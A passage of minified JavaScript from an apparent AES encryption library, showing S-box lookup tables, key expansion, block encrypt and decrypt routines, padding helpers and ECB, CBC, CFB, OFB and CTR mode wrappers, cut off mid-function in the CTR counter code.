33831835,3082273397,4261223649,2475929149,640051788,909531756,1061110142,4160160501,3435941763,875846760,2779116625,3857003729,4059105529,1903268834,3638064043,825316194,353713962,67374088,3351728789,589522246,3284360861,404236336,2526454071,84217610,2593830191,117901582,303183396,2155911963,3806477791,3958056653,656894286,2998062463,1970642922,151591698,2206440989,741110872,437923380,454765878,1852748508,1515908788,2694904667,1381168804,993742198,3604373943,3014905469,690584402,3823320797,791638366,2223281939,1398011302,3520161977,0,3991743681,538992704,4244381667,2981218425,1532751286,1785380564,3419096717,3200178535,960056178,1246420628,1280103576,1482221744,3486468741,3503319995,4025428677,2863326543,4227536621,1128514950,1296947098,859002214,2240123921,1162203018,4193849577,33687044,2139062782,1347481760,1010582648,2678045221,2829640523,1364325282,2745433693,1077985408,2408548869,2459086143,2644360225,943212656,4126475505,3166494563,3065430391,3671750063,555836226,269496352,4294908645,4092792573,3537006015,3452783745,202118168,320025894,3974901699,1600119230,2543297077,1145359496,387397934,3301201811,2812801621,2122220284,1027426170,1684319432,1566435258,421079858,1936954854,1616945344,2172753945,1330631070,3705438115,572679748,707427924,2425400123,2290647819,1179044492,4008585671,3099120491,336870440,3739122087,1583276732,185277718,3688593069,3772791771,842159716,976899700,168435220,1229577106,101059084,606366792,1549591736,3267517855,3553849021,2897014595,1650632388,2442242105,2509612081,3840161747,2038008818,3890688725,3368567691,926374254,1835907034,2374863873,3587531953,1313788572,2846482505,1819063512,1448540844,4109633523,3941213647,1701162954,2054852340,2930698567,134748176,3132806511,2021165296,623210314,774795868,471606328,2795958615,3031746419,3334885783,3907527627,3722280097,1953799400,522133822,1263263126,3183336545,2341176845,2324333839,1886425312,1044267644,3048588401,1718004428,1212733584,50529542,4143317495,235803164,1633788866,892690282,1465383342,3115962473,2256965911,3250673817,488449850,2661202215,3789633753,4177007595,2560144171,286339874,1768537042,3654906025,2391705863,2492770099,2610673197,505291324,2273808917,3924369609,3469625735,1431699370,673740880,3755965093,2358021891,2711746649,2307489801,218961690,3217021541,3873845719,1111672452,1751693520,1094828930,2576986153,757954394,252645662,2964376443,1414855848,3149649517,370555436],v=[1374988112,2118214995,437757123,975658646,1001089995,530400753,2902087851,1273168787,540080725,2910219766,2295101073,4110568485,1340463100,3307916247,641025152,3043140495,3736164937,632953703,1172967064,1576976609,3274667266,2169303058,2370213795,1809054150,59727847,361929877,3211623147,2505202138,3569255213,1484005843,1239443753,2395588676,1975683434,4102977912,2572697195,666464733,3202437046,4035489047,3374361702,2110667444,1675577880,3843699074,2538681184,1649639237,2976151520,3144396420,4269907996,4178062228,1883793496,2403728665,2497604743,1383856311,2876494627,1917518562,3810496343,1716890410,3001755655,800440835,2261089178,3543599269,807962610,599762354,33778362,3977675356,2328828971,2809771154,4077384432,1315562145,1708848333,101039829,3509871135,3299278474,875451293,2733856160,92987698,2767645557,193195065,1080094634,1584504582,3178106961,1042385657,2531067453,3711829422,1306967366,2438237621,1908694277,67556463,1615861247,429456164,3602770327,2302690252,1742315127,2968011453,126454664,3877198648,2043211483,2709260871,2084704233,4169408201,0,159417987,841739592,504459436,1817866830,4245618683,260388950,1034867998,908933415,168810852,1750902305,2606453969,607530554,202008497,2472011535,3035535058,463180190,2160117071,1641816226,1517767529,470948374,3801332234,3231722213,1008918595,303765277,235474187,4069246893,766945465,337553864,1475418501,2943682380,4003061179,2743034109,4144047775,1551037884,1147550661,1543208500,2336434550,3408119516,3069049960,3102011747,3610369226,1113818384,328671808,2227573024,2236228733,3535486456,2935566865,3341394285,496906059,3702665459,226906860,2009195472,733156972,2842737049,294930682,1206477858,2835123396,2700099354,1451044056,573804783,2269728455,3644379585,2362090238,2564033334,2801107407,2776292904,3669462566,1068351396,742039012,1350078989,1784663195,1417561698,4136440770,2430122216,775550814,2193862645,2673705150,1775276924,1876241833,3475313331,3366754619,270040487,3902563182,3678124923,3441850377,1851332852,3969562369,2203032232,3868552805,2868897406,566021896,4011190502,3135740889,1248802510,3936291284,699432150,832877231,708780849,3332740144,899835584,1951317047,4236429990,3767586992,866637845,4043610186,1106041591,2144161806,395441711,1984812685,1139781709,3433712980,3835036895,2664543715,1282050075,3240894392,1181045119,2640243204,25965917,4203181171,4211818798,3009879386,2463879762,3910161971,1842759443,2597806476,933301370,1509430414,3943906441,3467192302,3076639029,3776767469,2051518780,2631065433,1441952575,404016761,1942435775,1408749034,1610459739,3745345300,2017778566,3400528769,3110650942,941896748,3265478751,371049330,3168937228,675039627,4279080257,967311729,135050206,3635733660,1683407248,2076935265,3576870512,1215061108,3501741890],b=[1347548327,1400783205,3273267108,2520393566,3409685355,4045380933,2880240216,2471224067,1428173050,4138563181,2441661558,636813900,4233094615,3620022987,2149987652,2411029155,1239331162,1730525723,2554718734,3781033664,46346101,310463728,2743944855,3328955385,3875770207,2501218972,3955191162,3667219033,768917123,3545789473,692707433,1150208456,1786102409,2029293177,1805211710,3710368113,3065962831,401639597,1724457132,3028143674,409198410,2196052529,1620529459,1164071807,3769721975,2226875310,486441376,2499348523,1483753576,428819965,2274680428,3075636216,598438867,3799141122,1474502543,711349675,129166120,53458370,2592523643,2782082824,4063242375,2988687269,3120694122,1559041666,730517276,2460449204,4042459122,2706270690,3446004468,3573941694,533804130,2328143614,2637442643,2695033685,839224033,1973745387,957055980,2856345839,106852767,1371368976,4181598602,1033297158,2933734917,1179510461,3046200461,91341917,1862534868,4284502037,605657339,2547432937,3431546947,2003294622,3182487618,2282195339,954669403,3682191598,1201765386,3917234703,3388507166,0,2198438022,1211247597,2887651696,1315723890,4227665663,1443857720,507358933,657861945,1678381017,560487590,3516619604,975451694,2970356327,261314535,3535072918,2652609425,1333838021,2724322336,1767536459,370938394,182621114,3854606378,1128014560,487725847,185469197,2918353863,3106780840,3356761769,2237133081,1286567175,3152976349,4255350624,2683765030,3160175349,3309594171,878443390,1988838185,3704300486,1756818940,1673061617,3403100636,272786309,1075025698,545572369,2105887268,4174560061,296679730,1841768865,1260232239,4091327024,3960309330,3497509347,1814803222,2578018489,4195456072,575138148,3299409036,446754879,3629546796,4011996048,3347532110,3252238545,4270639778,915985419,3483825537,681933534,651868046,2755636671,3828103837,223377554,2607439820,1649704518,3270937875,3901806776,1580087799,4118987695,3198115200,2087309459,2842678573,3016697106,1003007129,2802849917,1860738147,2077965243,164439672,4100872472,32283319,2827177882,1709610350,2125135846,136428751,3874428392,3652904859,3460984630,3572145929,3593056380,2939266226,824852259,818324884,3224740454,930369212,2801566410,2967507152,355706840,1257309336,4148292826,243256656,790073846,2373340630,1296297904,1422699085,3756299780,3818836405,457992840,3099667487,2135319889,77422314,1560382517,1945798516,788204353,1521706781,1385356242,870912086,325965383,2358957921,2050466060,2388260884,2313884476,4006521127,901210569,3990953189,1014646705,1503449823,1062597235,2031621326,3212035895,3931371469,1533017514,350174575,2256028891,2177544179,1052338372,741876788,1606591296,1914052035,213705253,2334669897,1107234197,1899603969,3725069491,2631447780,2422494913,1635502980,1893020342,1950903388,1120974935],h=[2807058932,1699970625,2764249623,1586903591,1808481195,1173430173,1487645946,59984867,4199882800,1844882806,1989249228,1277555970,3623636965,3419915562,1149249077,2744104290,1514790577,459744698,244860394,3235995134,1963115311,4027744588,2544078150,4190530515,1608975247,2627016082,2062270317,1507497298,2200818878,567498868,1764313568,3359936201,2305455554,2037970062,1047239e3,1910319033,1337376481,2904027272,2892417312,984907214,1243112415,830661914,861968209,2135253587,2011214180,2927934315,2686254721,731183368,1750626376,4246310725,1820824798,4172763771,3542330227,48394827,2404901663,2871682645,671593195,3254988725,2073724613,145085239,2280796200,2779915199,1790575107,2187128086,472615631,3029510009,4075877127,3802222185,4107101658,3201631749,1646252340,4270507174,1402811438,1436590835,3778151818,3950355702,3963161475,4020912224,2667994737,273792366,2331590177,104699613,95345982,3175501286,2377486676,1560637892,3564045318,369057872,4213447064,3919042237,1137477952,2658625497,1119727848,2340947849,1530455833,4007360968,172466556,266959938,516552836,0,2256734592,3980931627,1890328081,1917742170,4294704398,945164165,3575528878,958871085,3647212047,2787207260,1423022939,775562294,1739656202,3876557655,2530391278,2443058075,3310321856,547512796,1265195639,437656594,3121275539,719700128,3762502690,387781147,218828297,3350065803,2830708150,2848461854,428169201,122466165,3720081049,1627235199,648017665,4122762354,1002783846,2117360635,695634755,3336358691,4234721005,4049844452,3704280881,2232435299,574624663,287343814,612205898,1039717051,840019705,2708326185,793451934,821288114,1391201670,3822090177,376187827,3113855344,1224348052,1679968233,2361698556,1058709744,752375421,2431590963,1321699145,3519142200,2734591178,188127444,2177869557,3727205754,2384911031,3215212461,2648976442,2450346104,3432737375,1180849278,331544205,3102249176,4150144569,2952102595,2159976285,2474404304,766078933,313773861,2570832044,2108100632,1668212892,3145456443,2013908262,418672217,3070356634,2594734927,1852171925,3867060991,3473416636,3907448597,2614737639,919489135,164948639,2094410160,2997825956,590424639,2486224549,1723872674,3157750862,3399941250,3501252752,3625268135,2555048196,3673637356,1343127501,4130281361,3599595085,2957853679,1297403050,81781910,3051593425,2283490410,532201772,1367295589,3926170974,895287692,1953757831,1093597963,492483431,3528626907,1446242576,1192455638,1636604631,209336225,344873464,1015671571,669961897,3375740769,3857572124,2973530695,3747192018,1933530610,3464042516,935293895,3454686199,2858115069,1863638845,3683022916,4085369519,3292445032,875313188,1080017571,3279033885,621591778,1233856572,2504130317,24197544,3017672716,3835484340,3247465558,2220981195,3060847922,1551124588,1463996600],m=[4104605777,1097159550,396673818,660510266,2875968315,2638606623,4200115116,3808662347,821712160,1986918061,3430322568,38544885,3856137295,718002117,893681702,1654886325,2975484382,3122358053,3926825029,4274053469,796197571,1290801793,1184342925,3556361835,2405426947,2459735317,1836772287,1381620373,3196267988,1948373848,3764988233,3385345166,3263785589,2390325492,1480485785,3111247143,3780097726,2293045232,548169417,3459953789,3746175075,439452389,1362321559,1400849762,1685577905,1806599355,2174754046,137073913,1214797936,1174215055,3731654548,2079897426,1943217067,1258480242,529487843,1437280870,3945269170,3049390895,3313212038,923313619,679998e3,3215307299,57326082,377642221,3474729866,2041877159,133361907,1776460110,3673476453,96392454,878845905,2801699524,777231668,4082475170,2330014213,4142626212,2213296395,1626319424,1906247262,1846563261,562755902,3708173718,1040559837,3871163981,1418573201,3294430577,114585348,1343618912,2566595609,3186202582,1078185097,3651041127,3896688048,2307622919,425408743,3371096953,2081048481,1108339068,2216610296,0,2156299017,736970802,292596766,1517440620,251657213,2235061775,2933202493,758720310,265905162,1554391400,1532285339,908999204,174567692,1474760595,4002861748,2610011675,3234156416,3693126241,2001430874,303699484,2478443234,2687165888,585122620,454499602,151849742,2345119218,3064510765,514443284,4044981591,1963412655,2581445614,2137062819,19308535,1928707164,1715193156,4219352155,1126790795,600235211,3992742070,3841024952,836553431,1669664834,2535604243,3323011204,1243905413,3141400786,4180808110,698445255,2653899549,2989552604,2253581325,3252932727,3004591147,1891211689,2487810577,3915653703,4237083816,4030667424,2100090966,865136418,1229899655,953270745,3399679628,3557504664,4118925222,2061379749,3079546586,2915017791,983426092,2022837584,1607244650,2118541908,2366882550,3635996816,972512814,3283088770,1568718495,3499326569,3576539503,621982671,2895723464,410887952,2623762152,1002142683,645401037,1494807662,2595684844,1335535747,2507040230,4293295786,3167684641,367585007,3885750714,1865862730,2668221674,2960971305,2763173681,1059270954,2777952454,2724642869,1320957812,2194319100,2429595872,2815956275,77089521,3973773121,3444575871,2448830231,1305906550,4021308739,2857194700,2516901860,3518358430,1787304780,740276417,1699839814,1592394909,2352307457,2272556026,188821243,1729977011,3687994002,274084841,3594982253,3613494426,2701949495,4162096729,322734571,2837966542,1640576439,484830689,1202797690,3537852828,4067639125,349075736,3342319475,4157467219,4255800159,1030690015,1155237496,2951971274,1757691577,607398968,2738905026,499347990,3794078908,1011452712,227885567,2818666809,213114376,3034881240,1455525988,3414450555,850817237,1817998408,3092726480],g=[0,235474187,470948374,303765277,941896748,908933415,607530554,708780849,1883793496,2118214995,1817866830,1649639237,1215061108,1181045119,1417561698,1517767529,3767586992,4003061179,4236429990,4069246893,3635733660,3602770327,3299278474,3400528769,2430122216,2664543715,2362090238,2193862645,2835123396,2801107407,3035535058,3135740889,3678124923,3576870512,3341394285,3374361702,3810496343,3977675356,4279080257,4043610186,2876494627,2776292904,3076639029,3110650942,2472011535,2640243204,2403728665,2169303058,1001089995,899835584,666464733,699432150,59727847,226906860,530400753,294930682,1273168787,1172967064,1475418501,1509430414,1942435775,2110667444,1876241833,1641816226,2910219766,2743034109,2976151520,3211623147,2505202138,2606453969,2302690252,2269728455,3711829422,3543599269,3240894392,3475313331,3843699074,3943906441,4178062228,4144047775,1306967366,1139781709,1374988112,1610459739,1975683434,2076935265,1775276924,1742315127,1034867998,866637845,566021896,800440835,92987698,193195065,429456164,395441711,1984812685,2017778566,1784663195,1683407248,1315562145,1080094634,1383856311,1551037884,101039829,135050206,437757123,337553864,1042385657,807962610,573804783,742039012,2531067453,2564033334,2328828971,2227573024,2935566865,2700099354,3001755655,3168937228,3868552805,3902563182,4203181171,4102977912,3736164937,3501741890,3265478751,3433712980,1106041591,1340463100,1576976609,1408749034,2043211483,2009195472,1708848333,1809054150,832877231,1068351396,766945465,599762354,159417987,126454664,361929877,463180190,2709260871,2943682380,3178106961,3009879386,2572697195,2538681184,2236228733,2336434550,3509871135,3745345300,3441850377,3274667266,3910161971,3877198648,4110568485,4211818798,2597806476,2497604743,2261089178,2295101073,2733856160,2902087851,3202437046,2968011453,3936291284,3835036895,4136440770,4169408201,3535486456,3702665459,3467192302,3231722213,2051518780,1951317047,1716890410,1750902305,1113818384,1282050075,1584504582,1350078989,168810852,67556463,371049330,404016761,841739592,1008918595,775550814,540080725,3969562369,3801332234,4035489047,4269907996,3569255213,3669462566,3366754619,3332740144,2631065433,2463879762,2160117071,2395588676,2767645557,2868897406,3102011747,3069049960,202008497,33778362,270040487,504459436,875451293,975658646,675039627,641025152,2084704233,1917518562,1615861247,1851332852,1147550661,1248802510,1484005843,1451044056,933301370,967311729,733156972,632953703,260388950,25965917,328671808,496906059,1206477858,1239443753,1543208500,1441952575,2144161806,1908694277,1675577880,1842759443,3610369226,3644379585,3408119516,3307916247,4011190502,3776767469,4077384432,4245618683,2809771154,2842737049,3144396420,3043140495,2673705150,2438237621,2203032232,2370213795],w=[0,185469197,370938394,487725847,741876788,657861945,975451694,824852259,1483753576,1400783205,1315723890,1164071807,1950903388,2135319889,1649704518,1767536459,2967507152,3152976349,2801566410,2918353863,2631447780,2547432937,2328143614,2177544179,3901806776,3818836405,4270639778,4118987695,3299409036,3483825537,3535072918,3652904859,2077965243,1893020342,1841768865,1724457132,1474502543,1559041666,1107234197,1257309336,598438867,681933534,901210569,1052338372,261314535,77422314,428819965,310463728,3409685355,3224740454,3710368113,3593056380,3875770207,3960309330,4045380933,4195456072,2471224067,2554718734,2237133081,2388260884,3212035895,3028143674,2842678573,2724322336,4138563181,4255350624,3769721975,3955191162,3667219033,3516619604,3431546947,3347532110,2933734917,2782082824,3099667487,3016697106,2196052529,2313884476,2499348523,2683765030,1179510461,1296297904,1347548327,1533017514,1786102409,1635502980,2087309459,2003294622,507358933,355706840,136428751,53458370,839224033,957055980,605657339,790073846,2373340630,2256028891,2607439820,2422494913,2706270690,2856345839,3075636216,3160175349,3573941694,3725069491,3273267108,3356761769,4181598602,4063242375,4011996048,3828103837,1033297158,915985419,730517276,545572369,296679730,446754879,129166120,213705253,1709610350,1860738147,1945798516,2029293177,1239331162,1120974935,1606591296,1422699085,4148292826,4233094615,3781033664,3931371469,3682191598,3497509347,3446004468,3328955385,2939266226,2755636671,3106780840,2988687269,2198438022,2282195339,2501218972,2652609425,1201765386,1286567175,1371368976,1521706781,1805211710,1620529459,2105887268,1988838185,533804130,350174575,164439672,46346101,870912086,954669403,636813900,788204353,2358957921,2274680428,2592523643,2441661558,2695033685,2880240216,3065962831,3182487618,3572145929,3756299780,3270937875,3388507166,4174560061,4091327024,4006521127,3854606378,1014646705,930369212,711349675,560487590,272786309,457992840,106852767,223377554,1678381017,1862534868,1914052035,2031621326,1211247597,1128014560,1580087799,1428173050,32283319,182621114,401639597,486441376,768917123,651868046,1003007129,818324884,1503449823,1385356242,1333838021,1150208456,1973745387,2125135846,1673061617,1756818940,2970356327,3120694122,2802849917,2887651696,2637442643,2520393566,2334669897,2149987652,3917234703,3799141122,4284502037,4100872472,3309594171,3460984630,3545789473,3629546796,2050466060,1899603969,1814803222,1730525723,1443857720,1560382517,1075025698,1260232239,575138148,692707433,878443390,1062597235,243256656,91341917,409198410,325965383,3403100636,3252238545,3704300486,3620022987,3874428392,3990953189,4042459122,4227665663,2460449204,2578018489,2226875310,2411029155,3198115200,3046200461,2827177882,2743944855],A=[0,218828297,437656594,387781147,875313188,958871085,775562294,590424639,1750626376,1699970625,1917742170,2135253587,1551124588,1367295589,1180849278,1265195639,3501252752,3720081049,3399941250,3350065803,3835484340,3919042237,4270507174,4085369519,3102249176,3051593425,2734591178,2952102595,2361698556,2177869557,2530391278,2614737639,3145456443,3060847922,2708326185,2892417312,2404901663,2187128086,2504130317,2555048196,3542330227,3727205754,3375740769,3292445032,3876557655,3926170974,4246310725,4027744588,1808481195,1723872674,1910319033,2094410160,1608975247,1391201670,1173430173,1224348052,59984867,244860394,428169201,344873464,935293895,984907214,766078933,547512796,1844882806,1627235199,2011214180,2062270317,1507497298,1423022939,1137477952,1321699145,95345982,145085239,532201772,313773861,830661914,1015671571,731183368,648017665,3175501286,2957853679,2807058932,2858115069,2305455554,2220981195,2474404304,2658625497,3575528878,3625268135,3473416636,3254988725,3778151818,3963161475,4213447064,4130281361,3599595085,3683022916,3432737375,3247465558,3802222185,4020912224,4172763771,4122762354,3201631749,3017672716,2764249623,2848461854,2331590177,2280796200,2431590963,2648976442,104699613,188127444,472615631,287343814,840019705,1058709744,671593195,621591778,1852171925,1668212892,1953757831,2037970062,1514790577,1463996600,1080017571,1297403050,3673637356,3623636965,3235995134,3454686199,4007360968,3822090177,4107101658,4190530515,2997825956,3215212461,2830708150,2779915199,2256734592,2340947849,2627016082,2443058075,172466556,122466165,273792366,492483431,1047239e3,861968209,612205898,695634755,1646252340,1863638845,2013908262,1963115311,1446242576,1530455833,1277555970,1093597963,1636604631,1820824798,2073724613,1989249228,1436590835,1487645946,1337376481,1119727848,164948639,81781910,331544205,516552836,1039717051,821288114,669961897,719700128,2973530695,3157750862,2871682645,2787207260,2232435299,2283490410,2667994737,2450346104,3647212047,3564045318,3279033885,3464042516,3980931627,3762502690,4150144569,4199882800,3070356634,3121275539,2904027272,2686254721,2200818878,2384911031,2570832044,2486224549,3747192018,3528626907,3310321856,3359936201,3950355702,3867060991,4049844452,4234721005,1739656202,1790575107,2108100632,1890328081,1402811438,1586903591,1233856572,1149249077,266959938,48394827,369057872,418672217,1002783846,919489135,567498868,752375421,209336225,24197544,376187827,459744698,945164165,895287692,574624663,793451934,1679968233,1764313568,2117360635,1933530610,1343127501,1560637892,1243112415,1192455638,3704280881,3519142200,3336358691,3419915562,3907448597,3857572124,4075877127,4294704398,3029510009,3113855344,2927934315,2744104290,2159976285,2377486676,2594734927,2544078150],_=[0,151849742,303699484,454499602,607398968,758720310,908999204,1059270954,1214797936,1097159550,1517440620,1400849762,1817998408,1699839814,2118541908,2001430874,2429595872,2581445614,2194319100,2345119218,3034881240,3186202582,2801699524,2951971274,3635996816,3518358430,3399679628,3283088770,4237083816,4118925222,4002861748,3885750714,1002142683,850817237,698445255,548169417,529487843,377642221,227885567,77089521,1943217067,2061379749,1640576439,1757691577,1474760595,1592394909,1174215055,1290801793,2875968315,2724642869,3111247143,2960971305,2405426947,2253581325,2638606623,2487810577,3808662347,3926825029,4044981591,4162096729,3342319475,3459953789,3576539503,3693126241,1986918061,2137062819,1685577905,1836772287,1381620373,1532285339,1078185097,1229899655,1040559837,923313619,740276417,621982671,439452389,322734571,137073913,19308535,3871163981,4021308739,4104605777,4255800159,3263785589,3414450555,3499326569,3651041127,2933202493,2815956275,3167684641,3049390895,2330014213,2213296395,2566595609,2448830231,1305906550,1155237496,1607244650,1455525988,1776460110,1626319424,2079897426,1928707164,96392454,213114376,396673818,514443284,562755902,679998e3,865136418,983426092,3708173718,3557504664,3474729866,3323011204,4180808110,4030667424,3945269170,3794078908,2507040230,2623762152,2272556026,2390325492,2975484382,3092726480,2738905026,2857194700,3973773121,3856137295,4274053469,4157467219,3371096953,3252932727,3673476453,3556361835,2763173681,2915017791,3064510765,3215307299,2156299017,2307622919,2459735317,2610011675,2081048481,1963412655,1846563261,1729977011,1480485785,1362321559,1243905413,1126790795,878845905,1030690015,645401037,796197571,274084841,425408743,38544885,188821243,3613494426,3731654548,3313212038,3430322568,4082475170,4200115116,3780097726,3896688048,2668221674,2516901860,2366882550,2216610296,3141400786,2989552604,2837966542,2687165888,1202797690,1320957812,1437280870,1554391400,1669664834,1787304780,1906247262,2022837584,265905162,114585348,499347990,349075736,736970802,585122620,972512814,821712160,2595684844,2478443234,2293045232,2174754046,3196267988,3079546586,2895723464,2777952454,3537852828,3687994002,3234156416,3385345166,4142626212,4293295786,3841024952,3992742070,174567692,57326082,410887952,292596766,777231668,660510266,1011452712,893681702,1108339068,1258480242,1343618912,1494807662,1715193156,1865862730,1948373848,2100090966,2701949495,2818666809,3004591147,3122358053,2235061775,2352307457,2535604243,2653899549,3915653703,3764988233,4219352155,4067639125,3444575871,3294430577,3746175075,3594982253,836553431,953270745,600235211,718002117,367585007,484830689,133361907,251657213,2041877159,1891211689,1806599355,1654886325,1568718495,1418573201,1335535747,1184342925];function O(e){return new Uint8Array(e)}function S(e,r,t,n,o){null==n&&null==o||(e=e.slice?e.slice(n,o):Array.prototype.slice.call(e,n,o)),r.set(e,t)}function I(e){for(var r=[],t=0;t<e.length;t+=4)r.push(e[t+0]<<24|e[t+1]<<16|e[t+2]<<8|e[t+3]);return r}function j(e,r,t){for(var n=function(e){var r=u[(e=null==e?"":""+e).length];if(null==r)throw new Error("Invalid key size (must be 16, 24 or 32 bytes)");return r}(e),o=[],a=[],S=(0,i.toUint8Array)(e),j=0;j<=n;j++)o.push([0,0,0,0]),a.push([0,0,0,0]);for(var P=4*(n+1),E=S.length/4,x=I(S),C=0,N=0;N<E;N++)o[C=N>>2][N%4]=x[N],a[n-C][N%4]=x[N];for(var k=0,F=E,D=0;F<P;){if(D=x[E-1],x[0]^=f[D>>16&255]<<24^f[D>>8&255]<<16^f[255&D]<<8^f[D>>24&255]^l[k]<<24,k+=1,8!=E)for(var T=1;T<E;T++)x[T]^=x[T-1];else{for(var B=1;B<E/2;B++)x[B]^=x[B-1];D=x[E/2-1],x[E/2]^=f[255&D]^f[D>>8&255]<<8^f[D>>16&255]<<16^f[D>>24&255]<<24;for(var M=E/2+1;M<E;M++)x[M]^=x[M-1]}for(var U=0,R=0,Y=0;U<E&&F<P;)Y=F%4,o[R=F>>2][Y]=x[U],a[n-R][Y]=x[U++],F++}for(var V=1;V<n;V++)for(var K=0;K<4;K++)D=a[V][K],a[V][K]=g[D>>24&255]^w[D>>16&255]^A[D>>8&255]^_[255&D];return{key:S,rounds:n,name:r,description:t,_Ke:o,_Kd:a,encrypt:function(e){if(null==e||16!=e.length)throw new Error("Invalid plaintext size (must be 16 bytes)");for(var r=o.length-1,t=[0,0,0,0],n=I(e),i=0;i<4;i++)n[i]^=this._Ke[0][i];for(var a=1;a<r;a++){for(var u=0;u<4;u++)t[u]=s[n[u]>>24&255]^d[n[(u+1)%4]>>16&255]^y[n[(u+2)%4]>>8&255]^p[255&n[(u+3)%4]]^this._Ke[a][u];n=t.slice()}for(var l=O(16),c=0,v=0;v<4;v++)c=o[r][v],l[4*v+0]=255&(f[n[v+0+0]>>24&255]^c>>24),l[4*v+1]=255&(f[n[(v+1)%4]>>16&255]^c>>16),l[4*v+2]=255&(f[n[(v+2)%4]>>8&255]^c>>8),l[4*v+3]=255&(f[255&n[(v+3)%4]]^c);return l},decrypt:function(e){if(null==e||16!=e.length)throw new Error("Invalid plaintext size (must be 16 bytes)");for(var r=o.length-1,t=[0,0,0,0],n=I(e),i=0;i<4;i++)n[i]^=this._Kd[0][i];for(var u=1;u<r;u++){for(var l=0;l<4;l++)t[l]=v[n[l+0+0]>>24&255]^b[n[(l+3)%4]>>16&255]^h[n[(l+2)%4]>>8&255]^m[255&n[(l+1)%4]]^a[u][l];n=t.slice()}for(var f=O(16),s=0,d=0;d<4;d++)s=a[r][d],f[4*d+0]=255&(c[n[d+0+0]>>24&255]^s>>24),f[4*d+1]=255&(c[n[(d+3)%4]>>16&255]^s>>16),f[4*d+2]=255&(c[n[(d+2)%4]>>8&255]^s>>8),f[4*d+3]=255&(c[255&n[(d+1)%4]]^s);return f}}}function P(e){var r,t=n(e||O(16)),o=-1!=t.findIndex((function(e){return"number"!=typeof e||parseInt(e+"")!==e}));if("string"==typeof e||o?r=(0,i.toUint8Array)(t.join("")):(0,a.isArrayLike)(e)&&(r=new Uint8Array(t.map((function(e){return Number(e)})))),16!=r.length)throw new Error("Invalid initialation vector size (must be 16 bytes)");return r}function E(e){if(null==e)return null;if(!(0,a.isArrayLike)(e))throw new Error("Invalid input, must be an array");for(var r=e.length,t=0;t<r;t++){var n=1*e[t];if(isNaN(n)||parseInt(e[t])!==n||n<-128||n>255)throw new Error("Invalid input, array must contain only numbers between [0-255] or [-128,127] at position: "+t)}return e}function x(e){if(null==e)return null;for(var r=16-e.length%16,t=n(e),o=0;o<r;o++)t[e.length+o]=r;return new Uint8Array(t)}function C(e,r){if(null==e)return null;if(!e||e.length<16)throw new Error(r+" Invalid length");var t=e[e.length-1];if(t>16)throw new Error(r+" padding byte out of range");for(var n=e.length-t,o=0;o<t;o++)if(e[n+o]!==t)throw new Error(r+" Invalid padding byte");return e.slice(0,n)}function N(e,r){var t,n=(e||"NoPadding")+"";switch(-1!==(t=n.toLowerCase().lastIndexOf("padding"))&&t===n.length-7&&(n=n.substring(0,e.length-7)),n.toUpperCase()){case"PKCS7":case"PKCS#7":return function(e){return r?C(e,"PKCS#7"):x(e)};case"PKCS5":case"PKCS#5":return function(e){return r?C(e,"PKCS#5"):x(e)};case"NO":return function(e){return e};default:throw new Error("Invalid padding: "+n)}}var k={ECB:function(e,r){var t=j(e,"ecb","Electronic Code Block");return{encrypt:function(e){if(null==(e=E(N(r.padding||"PKCS#5")(e))))return null;if(e.length%16!=0)throw new Error("Invalid plaintext size (must be multiple of 16 bytes)");for(var n=O(e.length),o=O(16),i=0;i<e.length;i+=16)S(e,o,0,i,i+16),S(o=t.encrypt(o),n,i);return n},decrypt:function(e){if(null==(e=E(e)))return null;if(e.length%16!=0)throw new Error("Invalid ciphertext size (must be multiple of 16 bytes)");for(var n=O(e.length),o=O(16),i=0;i<e.length;i+=16)S(e,o,0,i,i+16),S(o=t.decrypt(o),n,i);return N(r.padding||"PKCS#5",!0)(n)}}},CBC:function(e,r){var t=r.iv,n=(r.padding,j(e,"CBC","Cipher Block Chaining")),o=P(t);return{encrypt:function(e){if(null==(e=e=E(N(r.padding||"PKCS#5")(e))))return null;if(e.length%16!=0)throw new Error("Invalid plaintext size (must be multiple of 16 bytes)");for(var t=new Uint8Array(o),i=O(e.length),a=O(16),u=0;u<e.length;u+=16){S(e,a,0,u,u+16);for(var l=0;l<16;l++)a[l]^=t[l];S(t=n.encrypt(a),i,u)}return i},decrypt:function(e){if(null==(e=E(e)))return null;if(e.length%16!=0)throw new Error("Invalid ciphertext size (must be multiple of 16 bytes)");for(var r=new Uint8Array(o),t=O(e.length),i=O(16),a=0;a<e.length;a+=16){S(e,i,0,a,a+16),i=n.decrypt(i);for(var u=0;u<16;u++)t[a+u]=i[u]^r[u];S(e,r,0,a,a+16)}return t}}},CFB:function(e,r){var t=r.iv,n=(r.padding,r.segmentSize),o=j(e,"cfb","Cipher Feedback");(!n||isNaN(Number(n))||n<0)&&(n=1);var i=P(t),a=new Uint8Array(i);return{encrypt:function(e){if(null==(e=E(N("NoPadding")(e))))return null;if(e.length%n!=0)throw new Error("Invalid plaintext size (must be segmentSize bytes)");for(var r,t=new Uint8Array(e),i=0;i<t.length;i+=n){r=o.encrypt(a);for(var u=0;u<n;u++)t[i+u]^=r[u];S(a,a,0,n),S(t,a,16-n,i,i+n)}return t},decrypt:function(e){if(null==(e=E(e)))return null;var r,t=new Uint8Array(e);if(null==t)return null;if(t.length%n!=0)throw new Error("Invalid ciphertext size (must be segmentSize bytes)");for(var i=0;i<t.length;i+=n){r=o.encrypt(a);for(var u=0;u<n;u++)t[i+u]^=r[u];S(a,a,0,n),S(e,a,16-n,i,i+n)}return t}}},OFB:function(e,r){var t=r.iv,n=j(e,"ofb","Output Feedback"),o=P(t);return{encrypt:function(e){e=E(N("NoPadding")(e));var r=new Uint8Array(e);if(null===r)return null;for(var t=16,i=new Uint8Array(o),a=0;a<r.length;a++)16===t&&(i=n.encrypt(i),t=0),r[a]^=i[t++];return r},decrypt:function(e){return null==(e=E(e))?null:this.encrypt(e)}}},CTR:function(e,r){var t=r.iv,o=j(e,"ctr","Counter");return{encrypt:function(e){if(null==(e=E(N("NoPadding")(e))))return null;for(var r=new Uint8Array(e),a=function(e){return{_counter:function(){null!=e&&""!==e||(e=O(16));var r=O(16);if("number"==typeof e){if(parseInt(e+"")!=e)throw new Error("invalid counter value (must be an integer)");var t=1*e;if(t>Number.MAX_SAFE_INTEGER)throw new Error("integer value out of safe range");for(var o=15;o>=0;--o)r[o]=t%256,t=parseInt(t/256+"")}else{var a=n(e),u=-1!=a.findIndex((function(e){return"number"!=typeof e||parseInt(e+"")!==e}));r="string"==typeof a||u?(0,i.toUint8Array)(a.join("")):new Uint8Array(a)}if(16!=r.length)throw new Error("invalid counter bytes size (must be 16 bytes)");return r}(),increment:function(){for(var 